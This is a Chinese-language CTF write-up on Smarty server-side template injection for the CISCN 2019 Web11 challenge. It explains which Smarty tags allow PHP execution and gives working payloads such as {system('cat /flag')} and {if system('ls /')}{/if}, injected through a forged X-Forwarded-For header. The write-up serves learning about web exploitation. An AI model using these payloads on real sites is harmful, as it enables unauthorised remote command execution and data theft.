[CISCN 2019华东南]Web11
从这个图得到提示,是Smarty 模板注入
先介绍一下Smarty
简介:
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。
查看版本:
{$smarty.version}
常用标签
{php}
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。
{php}phpinfo(){/php}
但是这个也是要分版本的,Smarty已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。
直接输入php命令即可:{system(‘ls /’)}
{literal} 标签
官方手册这样描述这个标签:
{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
使用Javascript语句进行命令之执行,常见的变形语句:
<script language="php">phpinfo();</script>
当然这样的语法,在PHP5里面可以使用,在PHP7里面不可以使用,本地测试一下:
因为{literal}支持javascprit语法,所以我们可以RCE,用法如下:
{literal}
<script language="php">phpinfo();</script>
{/literal}
{if}
{if}标签
官方文档中看到这样的描述:
Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*
既然全部的PHP函数都可以使用,那么我们是可以利用此来执行我们的代码
{if phpinfo()}{/if}
{if system('ls')}{/if}
~~~
111~~
~~
可以看到我们有/api和/xff两个路由,一个变量是IP
另一个是XFF
,但是由于环境问题,我们不能通过构造IP来进行模板注入,所以我们只能通过伪造XFF来进行注入,利用burp suite来构造payload来查看当前的Smaryt 版本:
X-Forwarded-For:{$smarty.version}
回显在右上角的Current IP
中,看来是没有过滤什么东西,注意版本号是3.1.30
这意味着这道题可能有两种写法:
因为{literal}
标签存在于php5的版本,所以这里不太好用(可能是我姿势不对)这里显示是这样的
写法一:{php}标签
payload:
{system('ls /')} //读取根目录文件
{system('cat /flag')} //读取flag
可以查看到flag
写法二:{if}标签
{if system('ls /')}{/if}
{if system('cat /flag')}{/if}
同样可以读取flag
[NISACTF 2022]midlevel
和上题一样。。。。无语
参考文章:
PHP Smarty模版注入